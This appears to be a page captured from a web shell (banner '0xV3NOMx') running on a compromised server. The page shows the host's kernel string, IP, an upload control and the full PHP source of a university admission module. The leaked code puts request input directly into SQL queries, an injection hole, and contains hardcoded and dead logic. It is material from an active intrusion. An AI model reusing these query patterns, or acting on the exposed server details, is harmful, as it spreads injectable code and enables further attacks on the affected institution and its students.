0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.117.156.84


Current Path : /var/www/html/admission/src/
Upload File :
Current File : /var/www/html/admission/src/mpcmanage.php

<?php
    function getMPCDeggrp($aobj_context){
        $univcode = $aobj_context->mobj_data['univcode'];
        $query = "select fdeggrp as value, concat(fdescpn, ' ', '[',fdeggrp,']')as text from deggrp";
        $res = $aobj_context->pobj_db->GetAll($query);
        if($res){
            echo $aobj_context->mobj_output->ToJSONEnvelope($res, 0, "success"); 
            return;
        }else{
            $arr['msg'] = "No data found";
            echo $aobj_context->mobj_output->ToJSONEnvelope($res, -1, "failure"); 
            return;
        }
    }

    function getMPCExamDate($aobj_context){
        $univcode = $aobj_context->mobj_data['univcode'];
        $deggrp = $aobj_context->mobj_data['deggrp'];

        if($deggrp === "All"){
            $cond = "";
        }else{
            $cond = "";
        }
        
        $query = "select concat(dg.fyear,'-',dg.fexamtype) as value, 
                    concat(dg.fexamdate, ' ', '[', dg.fyear,'-',dg.fexamtype,']') as text 
                    from degexam dg inner join degree d on dg.fdegree = d.fdegree and dg.fexamno = d.fexamno
                    and d.fdeggrp = '{$deggrp}'
                    union
                    select concat(fyear,'-',fexamtype) as value, concat(fexamdate, ' ', '[',fyear,'-',fexamtype,']') as text from deggrp 
                    where fdeggrp='{$deggrp}'";
        $res = $aobj_context->pobj_db->GetAll($query);
        
        if($res){
            echo $aobj_context->mobj_output->ToJSONEnvelope($res, 0, "success"); 
            return;
        }else{
            $arr['msg'] = "No data found";
            echo $aobj_context->mobj_output->ToJSONEnvelope($res, -1, "failure"); 
            return;
        }
    }

    function getMPCData($aobj_context){
        $univcode = $aobj_context->mobj_data['univcode'];
        $deggrp = $aobj_context->mobj_data['deggrp'];
        $yearmode = $aobj_context->mobj_data['yearmode'];
        $status = $aobj_context->mobj_data['status'];
        
        $query = "select a.fqpcode, sub.fsubname, a.fregno, s.fname, fmpmeetdate, fmpremarks, fmprel from absent a inner join subject sub on sub.fqpcode = a.fqpcode 
                  inner join student s on s.fregno = a.fregno
                  where a.fqpcode='18122203'";
        $res = $aobj_context->pobj_db->GetAll($query);
        
        if($res){
            echo $aobj_context->mobj_output->ToJSONEnvelope($res, 0, "success"); 
            return;
        }else{
            $arr['msg'] = "No data found";
            echo $aobj_context->mobj_output->ToJSONEnvelope($res, -1, "failure"); 
            return;
        }
    }
?>